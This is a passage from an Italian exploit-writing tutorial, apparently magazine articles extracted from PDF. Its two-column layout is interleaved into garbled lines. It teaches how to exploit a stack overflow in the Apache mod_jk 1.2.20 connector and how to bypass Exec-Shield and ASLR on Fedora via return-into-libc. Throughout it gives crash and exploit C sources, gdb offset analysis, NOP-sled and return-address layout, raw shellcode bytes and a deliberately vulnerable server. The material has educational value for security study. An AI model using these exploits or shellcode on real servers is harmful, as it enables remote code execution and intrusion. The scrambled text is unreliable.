che risiede dentro il file jk_uri_worker_map.c nella "Uri %s is invalid. Uri must be
smaller then %d chars",
directory native/common. Nella versione 1.2.20 dei
uri, JK_MAX_URI_LEN);
sorgenti del modulo, dopo una serie di controlli JK_TRACE_EXIT(l);
formali, il contenuto di uri (un const char * return NULL;
proveniente da input utente e passato come }
argomento alla funzione) viene travasato byte per if (uri[i] == ';')
byte nella variabile locale url attraverso un ciclo for. break;
La variabile url è definita all'inizio di else {
url[i] = uri[i];
map_uri_to_worker() come un array di caratteri
[…]
che può contenere al massimo JK_MAX_URI_LEN
}
byte +1. A sua volta JK_MAX_URI_LEN viene definito }
all'interno del file jk_uri_worker_map.h con: url[i] = '\0';
15
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
Creare un exploit funzionante in ogni circostanza). Nel nostro caso ciò significa
installare e configurare Apache, installare Jakarta
Per evitare di scontrarsi con una qualsiasi delle Tomcat ed il connettore mod_jk. Questi step
tecnologie anti overflow presenti nelle recenti vengono descritti in dettaglio nell'apposito box qui
versioni di Linux e comprendere come un vanilla sotto. Prima di proseguire nella lettura dell'articolo, è
stack overflow può essere sfruttato con successo, è bene accertarsi quindi di aver portato a termine tutte
buona norma per il momento fare pratica con una le procedure lì descritte.
distribuzione del pinguino completamente sprovvista
di questo genere di misure di protezione (soprattutto
se questo è il vostro primo hack). Per i nostri test
abbiamo deciso di utilizzare una Red Hat 7.2[11] [11] Le due ISO di “enigma” (nome in codice per Red Hat 7.2)
installata all'interno di una istanza VMWare. Prima di non sono più ufficialmente fornite da Red Hat ma possono
introdurre le operazioni che porteranno alla essere ancora prelevate da svariati siti come
creazione di un exploit remoto è naturalmente http://redhat.lsu.edu/dist/7.2/iso/ oppure
http://xfiles.erin.utoronto.ca/pub/unix/redhat/7.2/en/iso/i386/
necessario predisporre l'ambiente di test (questo vale
Attenzione: le configurazioni che seguono sono volte esclusivamente a creare un ambiente di test privato e non sono
pertanto indicate per configurare un sistema di produzione. Gli amministratori di sistema che dalle seguenti linee guida
vorranno trarre degli spunti per configurare uno o più server che offrono servizi online, devono comprendere che essi
necessiteranno della definizione di permessi più accorti di quelli menzionati e riportati qui sotto.
Installare Apache
Il primo passo da compiere è installare Apache. Per semplificare questo task è sufficiente utilizzare la versione già fornita
con Red Hat 7.2. In fase di installazione della distribuzione si seleziona un deployment di tipo Custom e tra le funzionalità a
cui il sistema sarà adibito si sceglie Web Server. E' fondamentale selezionare anche il gruppo di pacchetti relativo agli
strumenti di sviluppo software.
Installare JSDK
L'unico requisito di Jakarta Tomcat è il Java Development Kit (JDK)[12]. La versione fornita è autoestraente. Dopo averla
collocata nel punto desiderato del filesystem, è sufficiente (da utente root) digitare:
# chmod +x j2sdk-1_4_2_15-linux-i586.bin
# ./j2sdk-1_4_2_15-linux-i586.bin
# mkdir /usr/java
# mv j2sdk1.4.2_15 /usr/java
# JAVA_HOME=”/usr/java/j2sdk1.4.2_15”
# export JAVA_HOME
16
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
# . /etc/profile
Così facendo la variabile d'ambiente JAVA_HOME verrà immediatamente creata nel proprio contesto e non sarà necessario
riloggarsi al sistema.
Si procede adesso alla creazione di un utente e di un gruppo dedicato per le applicazioni Web dinamiche e statiche che
gireranno per mezzo di Tomcat ed Apache:
# groupadd wwwsite
# useradd –g wwwsite wwwsite
Installare Tomcat
Si decomprime la versione 5.0.28 di Tomcat[12]:
# mv jakarta-tomcat-5.0.28 /usr/local
# cd /usr/local/jakarta-tomcat-5.0.28/bin
# ./startup.sh
Per testare se Tomcat sta funzionando è sufficiente aprire il browser, digitare “http://ip_del_server:8080” e verificare la
corretta visualizzazione della pagina di benvenuto con alla sinistra alcuni link che puntano a documentazione e codice di
esempio. Lanciare alcuni dei codici di esempio cliccandoci semplicemente sopra. Dopo aver accertato il loro
funzionamento è possibile fermare il servizio:
# ./shutdown.sh
Si compila il pacchetto:
17
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
# cd ./tomcat-connectors-1.2.20-src/native
# ./buildconf.sh
# ./configure –-with-apxs=/usr/sbin/apxs
# make
Al termine di questa procedura il modulo creato deve essere spostato nella directory in cui risiedono tutti i moduli di Apache:
# cd ./apache-1.3
# cp mod_jk.so.0.0.0 /etc/httpd/modules/mod_jk.so
# mkdir /home/wwwsite/webapps/test.com
# mkdir /home/wwwsite/webapps/test.com/logs
# mkdir /home/wwwsite/webapps/test.com/test
# mkdir /home/wwwsite/webapps/test.com/test/WEB-INF
# mkdir /home/wwwsite/webapps/test.com/test/WEB-INF/classes
Configurare Tomcat
Siamo così giunti alla fase della configurazione dei servizi. Il primo step per Tomcat consiste nel definire in che modo il
modulo mod_jk potrà comunicare con il servlet engine. Queste informazioni sono contenute nel file
workers.properties che dovrà essere collocato nella directory /etc/httpd/conf:
# workers.properties - ajp13
#
# List workers
worker.list=wrkr
#
# Define wrkr
worker.wrkr.port=8009
worker.wrkr.host=localhost
worker.wrkr.type=ajp13
worker.wrkr.socket_timeout=300
In questo caso il modulo Apache invierà le richieste degli utenti sulla porta TCP 8009 dell'interfaccia locale localhost
(127.0.0.1) in cui starà in ascolto Tomcat. Il forward verrà espletato attraverso il protocollo Ajpv 13 su canale TCP/IP.
18
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
<Engine name="appserver"
debug="0"
defaultHost="test.com">
<Host name="test.com"
appBase="/home/wwwsite/webapps"
autoDeploy="false"
deployOnStartup="false"
unpackWARs="false"
deployXML="true"
debug="0"/>
</Engine>
</Service>
</Server>
Qui in pratica vengono definite le porte TCP in cui Tomcat starà in ascolto (8005 per la ricezione del segnale di stop del
servizio ed 8009 per ricevere e soddisfare le richieste provenienti da Apache). Viene inoltre definito un host virtuale
test.com e la locazione nel disco in cui le pagine del sito risiedono (direttive “Host name” ed “appBase”).
Il terzo ed ultimo file di configurazione per Tomcat va collocato all'interno di un nuovo tree di directory:
# mkdir –p /usr/local/jakarta-tomcat-5.0.28/conf/appserver/test.com
# touch /usr/local/jakarta-tomcat-5.0.28/conf/appserver/test.xml
<Context path=""
docBase="test.com/test"
reloadable="true"
debug="0"/>
Configurare Apache
Il file di configurazione di apache (/etc/httpd/conf/httpd.conf) consta di tre aree appositamente marcate al suo
interno come:
19
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
1. Global Environment
2. Main Server Configuration
3. Virtual Hosts
Ciascuna di queste deve essere opportunamente modificata. Nella sezione Global Environment, subito dopo i punti in cui
vengono caricati i moduli mod_dir.so e mod_cgi.so, si devono aggiungere le direttive:
All'inizio della sezione Main Server Configuration risiedono poi le direttive User e Group che indicano sotto quale utente
e gruppo i processi figli di Apache devono essere eseguiti. Vanno modificate nel seguente modo:
User wwwsite
Group wwwsite
Nella parte bassa della stessa sezione vanno inoltre aggiunte queste altre direttive:
JkWorkersFile "/etc/httpd/conf/workers.properties"
JkLogFile "/etc/httpd/logs/mod_jk.log"
JkLogLevel info
JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"
NameVirtualHost 192.168.1.1:80
<VirtualHost 192.168.1.1:80>
ServerAdmin webmaster@test.com
ServerName www.test.com
DocumentRoot /home/wwwsite/webapps/test.com/test
ErrorLog /home/wwwsite/webapps/test.com/logs/error_log
CustomLog /home/wwwsite/webapps/test.com/logs/access_log common
JkMount /*.jsp wrkr
JkMount /servlet/* wrkr
# Nega l'accesso diretto a to WEB-INF
<LocationMatch ".*WEB-INF.*">
AllowOverride None
deny from all
</LocationMatch>
</VirtualHost>
In questo caso 192.168.1.1 è l'indirizzo IP di una delle interfacce di rete della macchina utilizzata come web server di
test. Ovviamente questa informazione va modificata secondo la vostra attuale configurazione di rete.
Ultime impostazioni
A questo punto si è giunti al completamento della configurazione. Una volta copiati i due script di prova[12] index.html e
test.jsp nella directory /home/wwwsite/webapps/test.com/test e lanciati i servizi Tomcat ed Apache:
20
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
# cd /usr/local/jakarta-tomcat-5.0.28/bin
# ./startup.sh
# /etc/init.d/httpd start
[12] Per semplificare la predisposizione dell'ambiente di test abbiamo incluso in un unico package tutte le componenti necessarie
(sorgenti e file di configurazione). Il package può essere prelevato da http://www.seg-fault.net/SS/001/vanillab0f/all_pack.tar.gz
Fase 1: Determinare quanti byte sono necessari Nel secondo caso invece bisognerà identificare il
per raggiungere il return address dal buffer punto esatto interessato, ovvero appena prima che la
saturato funzione ritorni:
(gdb) c
In questa circostanza si seleziona il primo e si procede Continuing.
con la fase di attach indicando da linea di comando il
punto in cui risiede il file eseguibile dell'applicazione Adesso disponiamo di un ambiente pronto al
oggetto del test ed il pid prescelto: tracciamento di uno dei processi figli di Apache, ma
serve l'evento scatenante per ottenere le informazioni
# gdb /usr/sbin/httpd 1616
su cui basarsi per costruire l'exploit. Questo evento è
semplicemente una richiesta tale che permetta
Dopo aver attraversato la lista dei moduli caricati all'overflow di manifestarsi.
(tasto Invio), si imposta un breakpoint[13] all'inizio[*] ed
uno subito prima dell'uscita[**] della funzione
vulnerabile. Il primo obiettivo è semplicemente [13] Un breakpoint è un punto di arresto nel normale flusso di
raggiungibile digitando dal prompt del gdb: esecuzione di un programma. Viene utilizzato nelle sessioni di
debugging per monitorare lo stato dei registri del processore o
delle aree di memoria di un'applicazione in un preciso momento
(gdb) break *map_uri_to_worker [*]
(nel nostro caso alcuni attimi prima del manifestarsi dello stack
Breakpoint 1 at 0x403c3610: file
overflow e poco prima del ritorno della funzione vulnerabile).
jk_uri_worker_map.c, line 536.
21
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
Sappiamo che il buffer che traboccherà (url) potrà condizione descritta sopra. Al momento abbiamo
contenere al massimo 4096 byte, ma quanti byte infatti messo sotto debugging solamente uno dei figli
saranno necessari con esattezza per sovrascrivere di Apache (di default ne vengono caricati 8 in
l'indirizzo di ritorno della funzione vulnerabile? Nel un'installazione standard di Red Hat 7.2) e non è
nostro caso non si può disporre inizialmente di questa detto che la prima richiesta HTTP inviata venga
informazione se non in modo approssimativo, gestita proprio dal processo che stiamo tracciando.
pertanto l'unica cosa logica da fare è inviare al web
server una richiesta più grande della dimensione del La prima interruzione momentanea del processo è
buffer “url” ed analizzare cosa succede. L'evento relativa al primo breakpoint. A questo punto
scatenante in questione sarà dunque generato dal l'overflow non si è ancora manifestato in quanto
sorgente di test mostrato in Figura 1. Il codice è ben siamo nella fase iniziale di esecuzione della funzione
commentato ma in sintesi si occupa di inviare una vulnerabile. Continuiamo quindi con il caricamento
richiesta HTTP con un URI[14] di 4128 byte (incluso il dell'applicazione:
carattere slash) che mira a mandare in crash il
processo debuggato. La parte più interessante del (gdb) c
sorgente è l'array di caratteri crash: Continuing.
char crash [] = Subito dopo aver lanciato il comando “c” nel prompt di
"BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"; gdb, la funzione map_uri_to_worker() esegue tutte
le istruzioni fino al secondo breakpoint, ovvero poco
Dopo aver riempito con delle “A” per 4095 byte il prima del suo ritorno. In questo momento il buffer url
buffer buf (l'URI che verrà inviato come parte della è già stato sovrascritto e dovrebbe aver alterato il
richiesta HTTP al web server), successivamente return address.. L'istruzione successiva al
viene copiato al suo interno il contenuto di crash (32 breakpoint corrente è “ret”, ciò significa che il
byte). Il motivo di questa accortezza sarà evidente più processore prenderà i primi 4 byte che troverà nello
avanti, quando si avrà necessità di determinare con stack e continuerà l'esecuzione dell'applicazione da
esattezza quanti byte saranno necessari per quell'indirizzo. Diamo un breve sguardo a quale
sovrascrivere il return address. Adesso compiliamo indirizzo punta attualmente il registro ESP (lo Stack
ed eseguiamo l'applicazione: Pointer):
Nella finestra in cui è stata lanciata la sessione di Adesso osserviamo il contenuto dei prossimi 4 byte
debugging dovrebbe quindi apparire a video un che si trovano a partire da quest'area di memoria
messaggio simile al seguente: (quelli che la successiva istruzione “ret” preleverà
dallo stack ed utilizzerà come indirizzo di ritorno):
[Switching to Thread 1024 (LWP 1616)]
Breakpoint 1, map_uri_to_worker (gdb) x/4bx $esp+4
(uw_map=0x8174000, uri=0x817c0b8 "/", 'A' 0xbffff57c: 0x49 0x49 0x49 0x49
<repeats 199 times>..., l=0x40412580) at
jk_uri_worker_map.c:536
22
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
0x49494949 sarà quindi l'indirizzo che il processore cresce verso indirizzi decrescenti e viceversa
utilizzerà come return address per ritornare alla decresce verso indirizzi crescenti, pertanto il buffer
funzione che ha precedentemente invocato “buf” si troverà in un indirizzo rappresentato da un
map_uri_to_worker() . La conversione da valore più basso rispetto al return address, pur
esadecimale ad ASCII di questo valore è “IIII”, trovandosi effettivamente prima nello stack. Questo
esattamente le ultime quattro lettere contenute ad esempio è ciò che viene visualizzato a video
all'interno dell'array di caratteri “crash” nel sorgente di analizzando i 2000 byte successivi all'indirizzo
esempio mostrato in Tabella 1. Ciò oltre ad indicarci “0xbffff578” a cui vengono sottratti 1400 byte (cioè
che è effettivamente possibile sovrascrivere in modo partendo da 0xbffff000):
arbitrario l'indirizzo di ritorno della funzione
vulnerabile, indica allo stesso tempo quanti byte sono (gdb) x/2000bx 0xbffff578-1400
necessari per giungere alla sua alterazione. Essendo 0xbffff000: 0x41 0x41 0x41 0x41 0x41 0x41
0x49494949 un indirizzo non valido (ovvero un 0x41 0x41
0xbffff008: 0x41 0x41 0x41 0x41 0x41 0x41
indirizzo non allocato nello spazio di indirizzamento
0x41 0x41
dell'applicazione debuggata e quindi non accessibile
0xbffff010: 0x41 0x41 0x41 0x41 0x41 0x41
dal processore), l'esecuzione dell'istruzione
0x41 0x41
successiva al secondo breakpoint (ret) causerà il […]
crash del processo. 0xbffff060: 0x41 0x41 0x41 0x41 0x41 0x41
0x41 0x41
(gdb) c 0xbffff068: 0x41 0x41 0x41 0x41 0x41 0x41
Program received signal SIGSEGV, 0x41 0x41
Segmentation fault. 0xbffff070: 0x41 0x41 0x41 0x41 0x41 0x41
0x49494949 in ?? () 0x41 0x41
0xbffff078: 0x41 0x41 0x41 0x41 0x41 0x41
(gdb) p $eip 0x41 0x41
$2 = (void *) 0x49494949 […]
Fase 2: Determinare in quale area di memoria fare Come viene dettagliato nel sorgente crash.c
puntare l'indirizzo di ritorno (Tabella 1), 0x41 è la rappresentazione esadecimale
del carattere “A” (proprio il punto in memoria che ci
interessa osservare). Quelli mostrati sono tutti indirizzi
Come ultimo step volto ad ottenere tutte le
utili, ma per il proseguo dell'articolo utilizzeremo quello
informazioni utili per il completamento della prossima
che è stato sottolineato nell'output mostrato sopra
ed ultima fase (ovvero quella di creazione dell'exploit
(0xbffff060). Nel nostro exploit questo dovrà
remoto) è necessario determinare a quale area di
sostituire l'indirizzo 0x49494949 puntato nel paragrafo
memoria l'indirizzo di ritorno sovrascritto dovrà
precedente dal registro EIP[15].
puntare. Quella sarà la zona approssimativa in cui
cercheremo di collocare uno shellcode. Il punto più
Fase 3: Scrivere l'exploit
logico è verso la seconda metà delle “A" che sono
state utilizzate per riempire gran parte dello spazio del Sostanzialmente sfruttare uno stack overflow si riduce
buffer “buf” nel sorgente mostrato in Tabella 1. Per sempre a riempire opportunamente un buffer di dati da
identificare quest'area è necessario analizzare la inviare al server vulnerabile.
memoria del processo debuggato a partire da un
[15] Al contrario di ESP ed EBP descritti all'inizio dell'articolo,
indirizzo di ESP inferiore a quello trovato dopo
abbiamo tardato di proposito prima di menzionare questo registro.
l'analisi svolta nel secondo breakpoint . Ciò è dovuto al EIP punta sempre alla prossima istruzione che il processore dovrà
fatto che nella piattaforma hardware x86 lo stack eseguire.
23
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
personalizzato. E' sufficiente collegarsi al sito [17] Un classico shellcode non funzionerebbe in quanto molti dei
http://metasploit.com:55555/PAYLOADS, caratteri di cui è composto verrebbero filtrati da Apache,
indicare in “ADDR” l'indirizzo IP dal quale intendete precludendo la corretta riuscita dell'attacco.
24
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
TABELLA 1: crash.c
/* crash.c */
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <error.h>
#include <errno.h>
#include <string.h>
#include <strings.h>
/*
descrittori, variabili e strutture utilizzate dal programma
*/
int fd, i = 0;
struct sockaddr_in xab;
/*
"buf": buffer che conterrà l'URI della richiesta HTTP
/*
Se non vengono passati due parametri al programma, mostra
la sintassi di utilizzo ed esci
*/
if (argc != 3)
{
printf("%s: ip port\r\n", argv[0]);
exit(0);
}
/*
Si crea un socket TCP per connettersi al web server
*/
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd == -1)
{
printf("socket: %s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
/*
Si azzerano strutture e buffer prima dell'utilizzo
*/
memset(&buf, 0, sizeof(buf));
memset(&request, 0, sizeof(request));
memset(&xab, 0, sizeof(xab));
/*
25
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
*/
xab.sin_family = AF_INET;
xab.sin_port = htons(atoi(argv[2]));
xab.sin_addr.s_addr = inet_addr(argv[1]);
/*
buf viene riempito di "A" (0x41) per 4095 byte
*/
for(i = 0; i <= 4094 ; i++)
buf[i] = 0x41;
/*
in seguito viene copiato all'interno di "buf" il contenuto di "crash"
generando un URI del tipo:
AAAAAAAA[x4095]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"
*/
memcpy(buf+4095, crash, sizeof(crash));
/*
Viene creata una richiesta HTTP del tipo:
/*
Ci si connette al web server
*/
i = connect(fd, (struct sockaddr *)&xab, sizeof(xab));
if (i == -1)
{
printf("connect: %s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
/*
Si chiude la comunicazione con il web server
*/
close(fd);
}
TABELLA 2: mod_jk_exploit.c
/* mod_jk_exploit.c */
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <error.h>
26
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
#include <errno.h>
#include <string.h>
#include <strings.h>
int fd, i = 0;
int calc;
struct sockaddr_in xab;
char buf[4128], request[8000];
/*
Puntatore ai NOP che precedono lo shellcode in memoria.
L'indirizzo è stato testato sia su Red Hat 7.2
che su Debian 3.0/3.1/4.0
*/
long ret = 0xbffff060;
if (argc != 3)
{
printf("%s: ip port\r\n", argv[0]);
exit(0);
}
memset(&buf, 0, sizeof(buf));
memset(&xab, 0, sizeof(xab));
xab.sin_family = AF_INET;
xab.sin_port = htons(atoi(argv[2]));
xab.sin_addr.s_addr = inet_addr(argv[1]);
27
look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK
/*
Riempiamo buf per 3922 byte di NOP
*/
for(i = 0; i <= 3921; i++)
buf[i] = 0x90;
/*
Calcoliamo da quale posizione all'interno di buf parte
la copia dello shellcode, ovvero da:
/*
Collochiamo alla fine di "buf" il valore che sovrascriverà
il return address della funzione vulnerabile
*/
memcpy(buf+4123, &ret, 4);
sleep(1);
printf("[*] Done...checks for shell\r\n");
close(fd);
}
28
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)
29
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)
30
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)
Dal debugger apprendiamo che dopo il crash effettivamente possibile. Tra lo stack frame della
dell'applicazione, il registro EIP non punta funzione vulnerabile e quello della funzione chiamante
direttamente a 0x41414141, bensì all'indirizzo o delle funzioni ancora antecedenti, deve essere
0x80488dd che nel listato assembly visualizzato in dichiarato da qualche parte (attenzione non
precedenza corrisponde proprio all'istruzione “ret” in immediatamente prima dello stack frame della
do_it(). In parole povere Exec-Shield ha fatto il suo funzione vulnerabile ma una manciata di byte più in
là che quantificheremo meglio dopo) un puntatore al
dovere e non ha permesso che il registro EIP venisse
buffer che viene sovrascritto.
manipolato a piacimento dall'attacker ed utilizzato per
puntare ad un eventuale shellcode nello Stack.
La teoria dietro l'attacco
Bye Bye Stack Memory
In realtà non abbiamo ancora risposto
L'ultima frase del paragrafo precedente è vitale per esaurientemente alla domanda posta poco prima:
comprendere la tecnica che ci stiamo accingendo a come fare a collocare uno shellcode al di fuori dello
descrivere e merita pertanto di essere riletta con Stack? La tecnica che ci accingiamo a spiegare (per il
attenzione. Non possiamo posizionare uno shellcode momento in modo teorico e solo successivamente sul
nello stack non significa però che non possiamo pratico) non è in realtà nuova ma è un riadattamento di
collocarlo in un'area di memoria differente, quanto descritto da Nergal nel numero 58 di Phrack[4].
possibilmente dotata di permessi in scrittura ed Essa dimostra che gli attacchi basati su shellcode sono
esecuzione: ancora possibili su distribuzioni come Fedora pur la
presenza di misure di protezione complesse come
# ps –wuax | grep server_vuln Exec-Shield. Questa tecnica funziona con minime
root 2374 0.0 0.1 1588 332 pts/0 T
modifiche sia su Fedora che su Red Hat Enterprise e
19:29 0:00 /usr/local/test/server_vuln
CentOS[5]. I test dai noi condotti sono stati comunque
svolti su Fedora Core 6 e la più recente edizione Core
# cat /proc/2374/maps
7.
[…]
004bd000-004be000 rwxp 0001b000 fd:00
2258040 /lib/ld-2.6.so Per collocare uno shellcode in una zona di memoria
[…] residente all'esterno dello Stack, accessibile sia in
00610000-00611000 rwxp 00150000 fd:00 scrittura che in esecuzione, possiamo avvalerci di un
2258041 /lib/libc-2.6.so attacco avanzato del tipo return-into-libc utilizzando la
[…] funzione di sistema strcpy(). L'attacco è riassumibile
in quattro semplici punti:
Osservando lo stato della memoria dell'applicazione
vulnerabile di esempio, quest'area potrebbe benissimo
essere un qualsiasi punto nel range di indirizzi di ld-
2.6.so o libc-2.6.so. Entrambi queste due librerie
linkate dinamicamente a server_vuln possono infatti
essere utilizzate per scrivere istruzioni che verranno
interpretate come eseguibili dal processore (notare i
permessi assegnati rwxp). La domanda a questo punto
[4] http://www.phrack.org/archives/58/p58-0x04: The advanced
è: come fare a scrivere uno shellcode in un indirizzo
return-into-lib(c) exploits.
residente all'esterno dello Stack? Si deve verificare
un'unica condizione vitale affinché ciò possa essere [5] http://www.centos.org/: distribuzione derivata da Red Hat
Enterprise Linux e gratuitamente scaricabile.
31
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)
Dopo aver saturato il buffer non controllato I vantaggi del riadattamento della tecnica
dell’applicazione di esempio: di Nergal
1) L'indirizzo di ritorno della funzione vulnerabile Questa tecnica (che ci accingiamo a sfruttare sul
(ovvero nel nostro caso do_it()) viene alterato pratico) permette di rendere nulle alcune misure di
con l'indirizzo in memoria in cui si trova protezione implementate su Red Hat Linux e le
un'istruzione “ret”. Nella maggior parte delle distribuzioni derivate (Fedora e CentOS). Più
circostanze queste istruzioni necessitano di precisamente di:
essere concatenate una di seguito all'altra (riferirsi
a tal proposito alla Figura 1) in modo da allineare il - bypassare Exec-Shield: possiamo eseguire del
puntatore allo shellcode e renderlo il secondo codice da remoto attraverso shellcode.
parametro della strcpy() invocata al punto 2.
- bypassare i meccanismi di Address Space
Layout Randomization: non abbiamo bisogno di
2) A seguire viene collocato l'indirizzo PLT[6] della
conoscere con esattezza l'indirizzo nello stack in
funzione strcpy().
cui si trova lo shellcode, basta semplicemente
sapere la distanza quantificata a gruppi di 4 byte
3) Successivamente viene collocato di nuovo
che intercorre tra l'indirizzo di ritorno sovrascritto
l'indirizzo in memoria in cui si trova un'istruzione
della funzione vulnerabile ed il puntatore allo
“ret”. Operando in questo modo al ritorno da
shellcode dichiarato più in là nello stack (vi
strcpy() il flusso di esecuzione del programma
ricordate la condizione vitale che si doveva
proseguirà dall'indirizzo della libreria dichiarato al
verificare e che abbiamo citato un paio di paragrafi
punto 4, eseguendo effettivamente lo shellcode.
addietro?).
4) Infine viene posto nello Stack l'indirizzo di una - evitare di utilizzare funzioni di sistema
qualsiasi area di memoria marcata come collocate sotto i 16 MB: in effetti viene utilizzato
accessibile in scrittura ed esecuzione (fare l'indirizzo PLT di strcpy() che è dichiarato
riferimento al paragrafo precedente per capire sempre in un punto fisso del file binario e non
come identificarla). l'indirizzo nella libreria di sistema che contiene un
NULL byte. Ciò rende ancora possibile usufruire a
L'effetto prodotto alla fine sarà che il contenuto piacimento di tecniche return-into-libc[7].
dell'area di memoria puntata nello step 1 (dove
risiederà lo shellcode) verrà copiato all'indirizzo
specificato nel punto 4. Successivamente questo
verrà invocato per mezzo del ret dichiarato al punto 3.
[6] Procedure Linkage Table: E' una tabella che i file in formato
Trattandosi di una zona marcata come eseguibile, le ELF utilizzano per il linking dinamico, ovvero per consentire alle
istruzioni qui residenti verranno interpretate come applicazioni di accedere a runtime alle funzioni contenute in una
codice ed opportunamente eseguite dal processore. libreria di sistema (ad esempio libc). All'esecuzione del
programma, durante la chiamata ad una funzione contenuta in una
Complimenti…avete eseguito una shell!
libreria di sistema, viene invocata con un'istruzione “call” la
relativa entry PLT che a sua volta salta ad un indirizzo nella Global
Tecnica avanzata Return-Into-Libc Offset Table (GOT) che punta al vero codice della funzione.
32
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)
33
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)
Fase 4: Identificare un'area in memoria spazzatura) per raggiungere i 260 byte (ovvero per
accessibile in scrittura ed esecuzione arrivare a sovrascrivere il Frame Pointer della funzione
vulnerabile):
Qui basta semplicemente individuare il pid del servizio "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
vulnerabile ed analizzare il filesystem /proc. Un "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
esempio di questo tipo lo abbiamo già mostrato nel "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
paragrafo “Bye Bye Stack Memory” a pagina 31. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
Approfittando di quell'output possiamo scegliere un "AAAAAAAA"
qualsiasi indirizzo compreso fra 0x004bd000 e
Successivamente dovranno essere concatenate sei
0x004be000 oppure fra 0x00610000 e 0x00611000.
istruzioni “ret”:
Nel nostro caso la scelta è caduta su 0x004bd055.
"\xdd\x88\x04\x08\xdd\x88\x04\x08"
Ultimo step: Creare l'exploit "\xdd\x88\x04\x08\xdd\x88\x04\x08"
"\xdd\x88\x04\x08\xdd\x88\x04\x08"
Osserviamo per un momento ancora il contenuto dello Quindi andrà posto l'indirizzo PLT della funzione
Stack così come mostrato con il gdb durante la Fase 1, strcpy():
ovvero poco prima che l'overflow si manifestasse.
Mettendo in conto lo stesso return address sovrascritto, "\x18\x85\x04\x08"
sappiamo che da esso al puntatore del buffer utente ci
Ancora un'istruzione “ret”:
stanno in mezzo 9 indirizzi. Ciò sarà sempre vero. Ad
ogni nuova esecuzione dell'applicazione potrà variare "\xdd\x88\x04\x08"
l'indirizzo base dello Stack Pointer per le proprietà
ASLR del sistema operativo, ma la distanza degli Ed infine l'indirizzo prescelto che punta all'area di
argomenti rimarrà sempre la stessa. Per avere un memoria accessibile in scrittura ed esecuzione:
allineamento come quello della Figura 1, la stringa
"\x55\xd0\x4b\x00";
inviata al servizio vulnerabile dal nostro exploit
(riportato in Tabella 2) dovrà comporsi delle seguenti Adesso mettiamo nuovamente sotto debugging
parti. All'inizio verrà collocato lo shellcode: l'applicazione vulnerabile ed impostiamo un break point
prima del ritorno della funzione do_it(). Fatto ciò,
char shellcode[] = compiliamo e lanciamo l'exploit in Tabella 2:
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74"
"\x24\xf4\x5b\x81\x73\x13\x84\x06\x32" $ gcc exploit.c –o exploit
"\xd3\x83\xeb\xfc\xe2\xf4\xb5\xdd\x61" $ ./exploit indirizzo_ip
"\x90\xd7\x6c\x30\xb9\xe2\x5e\xab\x5a"
"\x65\xcb\xb2\x45\xc7\x54\x54\xbb\xa6" Dal punto di arresto del debugger analizziamo ancora
"\xbe\x54\x80\x0d\xe7\x58\xb5\xdc\x56" una volta la conformazione dello Stack:
"\x63\x85\x0d\xe7\xff\x53\x34\x60\xe3"
"\x30\x49\x86\x60\x81\xd2\x45\xbb\x32" (gdb) x/40bx $esp
"\x34\x60\xff\x53\x17\x6c\x30\x8a\x34" 0xbfbf11ac: 0xdd 0x88 0x04 0x08 [*]
La sua dimensione (108 byte) richiederà in seguito 0xdd 0x88 0x04 0x08 [*]
l'aggiunta di altri 152 byte di garbage data (dati 0xbfbf11c4: 0x18 0x85 0x04 0x08 [**]
34
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)
Tabella 1: server_vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <error.h>
#include <errno.h>
#include <string.h>
#include <strings.h>
35
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)
for (; ;)
{
clen = sizeof(client);
newfd = accept(fd, (struct sockaddr *)&client, &clen);
if (newfd == -1)
{
printf("%s\r\n", strerror(errno));
exit(EXIT_FAILURE);
}
read(newfd, mex, sizeof(mex), 0);
pointer = mex;
handle(mex);
memset(&mex, 0, sizeof(mex));
send(newfd, "Thank You!\r\n", 12, 0);
close(newfd);
}
}
do_it(mex);
return;
}
memset(&request, 0, sizeof(request));
strcpy(request, mex);
printf(">>%s>>\r\n", request);
}
Tabella 2: exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <error.h>
#include <errno.h>
#include <string.h>
36
BYPASSARE EXEC-SHIELD SU FEDORA
look at LINUX E REDHAT LINUX (x86)
#include <strings.h>
char shellcode[] =
// shellcode 108 byte
